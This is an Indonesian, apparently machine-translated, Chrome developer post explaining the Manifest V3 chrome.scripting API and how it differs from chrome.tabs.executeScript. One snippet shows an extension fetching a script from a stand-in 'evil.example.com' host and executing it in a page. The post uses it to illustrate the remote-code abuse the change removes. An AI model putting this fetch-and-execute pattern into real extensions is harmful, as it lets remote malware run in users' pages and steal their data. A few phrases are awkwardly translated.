Memperkenalkan chrome.scripting

Manifest V3 memperkenalkan sejumlah perubahan pada platform ekstensi Chrome. Dalam postingan ini, kita akan mempelajari motivasi dan perubahan yang diperkenalkan oleh salah satu perubahan penting: pengantar chrome.scripting API.

Apa itu chrome.scripting?

Seperti namanya, chrome.scripting adalah namespace baru yang diperkenalkan di Manifes V3 yang bertanggung jawab atas kemampuan injeksi skrip dan gaya.

Developer yang pernah membuat ekstensi Chrome sebelumnya mungkin familier dengan metode Manifes V2 di Tabs API seperti chrome.tabs.executeScript dan chrome.tabs.insertCSS. Metode ini memungkinkan ekstensi untuk memasukkan skrip dan stylesheet ke dalam halaman. Di Manifes V3, kemampuan ini telah dipindahkan ke chrome.scripting dan kami berencana memperluas API ini dengan beberapa kemampuan baru di masa mendatang.

Mengapa membuat API baru?

Dengan perubahan seperti ini, salah satu pertanyaan pertama yang cenderung muncul adalah, "mengapa?"

Beberapa faktor yang berbeda menyebabkan tim Chrome memutuskan untuk memperkenalkan namespace baru untuk pembuatan skrip. Pertama, Tabs API adalah panel samping sampah untuk fitur. Kedua, kami perlu membuat perubahan yang dapat menyebabkan gangguan pada executeScript API yang ada. Ketiga, kami tahu bahwa kami ingin memperluas kemampuan pembuatan skrip untuk ekstensi. Secara bersamaan, kedua masalah ini secara jelas menentukan perlunya namespace baru untuk menempatkan kemampuan pembuatan skrip.

Laci sampah

Salah satu masalah yang mengganggu Tim Ekstensi selama beberapa tahun terakhir adalah chrome.tabs API kelebihan beban. Saat API ini pertama kali diperkenalkan, sebagian besar kemampuan yang disediakannya terkait dengan konsep luas tab browser. Meskipun saat itu, koleksi ini hanyalah sekelumit fitur dan, selama bertahun-tahun, koleksi ini terus bertambah.

Pada saat Manifest V3 dirilis, Tabs API telah berkembang sehingga mencakup pengelolaan tab dasar, pengelolaan pemilihan, pengaturan jendela, fitur pesan, kontrol zoom, navigasi dasar, pembuatan skrip, dan beberapa kemampuan lain yang lebih kecil. Meskipun semua ini penting, hal ini dapat membingungkan developer saat mereka memulai dan untuk tim Chrome karena kami mengelola platform dan mempertimbangkan permintaan dari komunitas developer.

Faktor rumit lainnya adalah izin tabs tidak dipahami dengan baik. Meskipun banyak izin lainnya membatasi akses ke API tertentu (misalnya storage), izin ini sedikit tidak biasa karena hanya memberikan akses ekstensi ke properti sensitif pada instance Tab (dan dengan ekstensi juga memengaruhi Windows API). Dapat dimaklumi, banyak developer ekstensi salah mengira bahwa mereka memerlukan izin ini untuk mengakses metode di Tabs API seperti chrome.tabs.create atau, secara lebih Jerman, chrome.tabs.executeScript. Memindahkan fungsi dari Tabs API dapat membantu mengatasi kebingungan ini.

Perubahan yang dapat menyebabkan gangguan

Saat mendesain Manifes V3, salah satu masalah utama yang ingin kami atasi adalah penyalahgunaan dan malware yang diaktifkan oleh "kode yang dihosting dari jarak jauh" - kode yang dieksekusi, tetapi tidak disertakan dalam paket ekstensi. Sangatlah umum bagi penulis ekstensi yang menyalahgunakan untuk mengeksekusi skrip yang diambil dari server jarak jauh untuk mencuri data pengguna, memasukkan malware, dan menghindari deteksi. Meskipun orang yang baik juga menggunakan kemampuan ini, kami akhirnya merasa bahwa hal tersebut terlalu berbahaya jika dibiarkan seperti apa adanya.

Ada beberapa cara bagi ekstensi untuk dapat mengeksekusi kode yang tidak dipaketkan, tetapi cara yang relevan adalah metode chrome.tabs.executeScript Manifes V2. Metode ini memungkinkan ekstensi untuk mengeksekusi string kode arbitrer di tab target. Hal ini pada akhirnya berarti developer berbahaya dapat mengambil skrip arbitrer dari server jarak jauh dan menjalankannya di dalam halaman mana pun yang dapat diakses oleh ekstensi. Kami tahu bahwa jika ingin mengatasi masalah kode jarak jauh, kami harus menghapus fitur ini.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Kami juga ingin menghilangkan beberapa masalah lain yang lebih halus pada desain versi Manifes V2, dan menjadikan API ini menjadi alat yang lebih rapi dan dapat diprediksi.

Meskipun kami dapat mengubah tanda tangan metode ini dalam Tabs API, kami merasa bahwa di antara perubahan yang dapat menyebabkan gangguan ini dan pengenalan kemampuan baru (dibahas di bagian berikutnya), jeda yang bersih akan lebih mudah bagi semua orang.

Memperluas kemampuan pembuatan skrip

Pertimbangan lain yang dimasukkan ke dalam proses desain Manifes V3 adalah keinginan untuk memperkenalkan kemampuan pembuatan skrip tambahan ke platform ekstensi Chrome. Secara khusus, kami ingin menambahkan dukungan untuk skrip konten dinamis dan memperluas kemampuan metode executeScript.

Dukungan skrip konten dinamis telah menjadi permintaan fitur sejak lama di Chromium. Saat ini, ekstensi Chrome Manifes V2 dan V3 hanya dapat mendeklarasikan skrip konten secara statis dalam file manifest.json; platform ini tidak menyediakan cara untuk mendaftarkan skrip konten baru, mengubah pendaftaran skrip konten, atau membatalkan pendaftaran skrip konten saat runtime.

Meskipun kami tahu bahwa kami ingin menangani permintaan fitur ini di Manifes V3, tidak satu pun API yang sudah ada yang terasa seperti rumah yang tepat. Kami juga mempertimbangkan untuk menyesuaikan dengan Firefox dalam Content Scripts API mereka, tetapi sejak awal kami mengidentifikasi beberapa kelemahan utama pendekatan ini. Pertama, kita tahu bahwa tanda tangan kita akan tidak kompatibel (misalnya, melepas dukungan untuk properti code). Kedua, API kami memiliki serangkaian batasan desain yang berbeda (misalnya memerlukan pendaftaran agar dapat dipertahankan setelah masa aktif pekerja layanan). Terakhir, namespace ini juga akan menghubungkan kita ke fungsi skrip konten yang kita pikirkan untuk membuat skrip di ekstensi secara lebih luas.

Dari sisi executeScript, kami juga ingin memperluas kemampuan API ini di luar apa yang didukung oleh versi Tab API. Lebih spesifik lagi, kami ingin mendukung fungsi dan argumen, menargetkan frame tertentu dengan lebih mudah, dan menargetkan konteks non-"tab".

Ke depannya, kami juga mempertimbangkan cara ekstensi berinteraksi dengan PWA yang diinstal dan konteks lainnya yang tidak dipetakan secara konseptual ke "tab".

Perubahan antara tab.executeScript dan scripting.executeScript

Di bagian selanjutnya postingan ini, saya ingin melihat lebih dekat beberapa persamaan dan perbedaan antara chrome.tabs.executeScript dan chrome.scripting.executeScript.

Memasukkan fungsi dengan argumen

Sambil mempertimbangkan bagaimana platform perlu berkembang sehubungan dengan pembatasan kode yang dihosting dari jarak jauh, kami ingin menemukan keseimbangan antara daya mentah eksekusi kode arbitrer dan hanya mengizinkan skrip konten statis. Solusi yang kami ambil adalah dengan mengizinkan ekstensi memasukkan fungsi sebagai skrip konten dan meneruskan array nilai sebagai argumen.

Mari kita lihat sekilas contoh (yang terlalu disederhanakan). Misalnya, kita ingin memasukkan skrip yang menyapa pengguna dengan nama saat pengguna mengklik tombol tindakan ekstensi (ikon di toolbar). Di Manifes V2, kita dapat secara dinamis membuat string kode dan mengeksekusi skrip tersebut di halaman saat ini.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Meskipun ekstensi Manifes V3 tidak dapat menggunakan kode yang tidak dipaketkan dengan ekstensi, tujuan kami adalah untuk mempertahankan beberapa dinamisme yang diaktifkan oleh blok kode arbitrer untuk ekstensi Manifes V2. Pendekatan fungsi dan argumen memungkinkan peninjau Chrome Web Store, pengguna, dan pihak yang berminat lainnya untuk menilai risiko yang ditimbulkan oleh ekstensi dengan lebih akurat, sekaligus memungkinkan developer mengubah perilaku runtime ekstensi berdasarkan setelan pengguna atau status aplikasi.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Bingkai penargetan

Kami juga ingin meningkatkan cara developer berinteraksi dengan frame di API yang direvisi. Versi Manifest V2 dari executeScript memungkinkan developer menargetkan semua frame di tab atau frame tertentu di tab. Anda dapat menggunakan chrome.webNavigation.getAllFrames untuk mendapatkan daftar semua frame di sebuah tab.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Di Manifes V3, kami mengganti properti bilangan bulat frameId opsional dalam objek opsi dengan array bilangan bulat frameIds opsional; hal ini memungkinkan developer menargetkan beberapa frame dalam satu panggilan API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Hasil injeksi skrip

Kami juga telah meningkatkan cara menampilkan hasil injeksi skrip di Manifes V3. "Hasil" pada dasarnya adalah pernyataan akhir yang dievaluasi dalam suatu skrip. Anggap saja seperti nilai yang ditampilkan saat Anda memanggil eval() atau mengeksekusi blok kode di konsol Chrome DevTools, tetapi diserialisasi untuk meneruskan hasil di seluruh proses.

Dalam Manifes V2, executeScript dan insertCSS akan menampilkan array hasil eksekusi biasa. Tidak masalah jika Anda hanya memiliki satu titik injeksi, tetapi urutan hasil tidak dijamin saat memasukkan ke dalam beberapa frame sehingga tidak ada cara untuk mengetahui hasil mana yang terkait dengan frame yang mana.

Untuk contoh konkret, mari kita lihat array results yang ditampilkan oleh Manifes V2 dan versi Manifes V3 dari ekstensi yang sama. Kedua versi ekstensi ini akan memasukkan skrip konten yang sama dan kami akan membandingkan hasil di halaman demo yang sama.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Saat menjalankan versi Manifes V2, kita akan mendapatkan kembali array [1, 0, 5]. Hasil mana yang sesuai dengan frame utama dan yang mana untuk iframe? Nilai yang ditampilkan tidak memberi tahu kita, jadi kita tidak tahu pasti.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Dalam versi Manifes V3, results kini berisi array objek hasil, bukan array saja yang berisi hasil evaluasi, dan objek hasil mengidentifikasi ID frame untuk setiap hasil dengan jelas. Hal ini memudahkan developer untuk memanfaatkan hasil dan mengambil tindakan pada frame tertentu.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Penutup

Peningkatan versi manifes menghadirkan peluang langka untuk memikirkan kembali dan memodernisasi API ekstensi. Sasaran kami dengan Manifes V3 adalah meningkatkan pengalaman pengguna akhir dengan membuat ekstensi lebih aman sekaligus meningkatkan pengalaman developer. Dengan memperkenalkan chrome.scripting di Manifes V3, kami dapat membantu membersihkan Tabs API, menata ulang executeScript agar platform ekstensi yang lebih aman, dan menyiapkan dasar untuk kemampuan pembuatan skrip baru yang akan hadir tahun ini.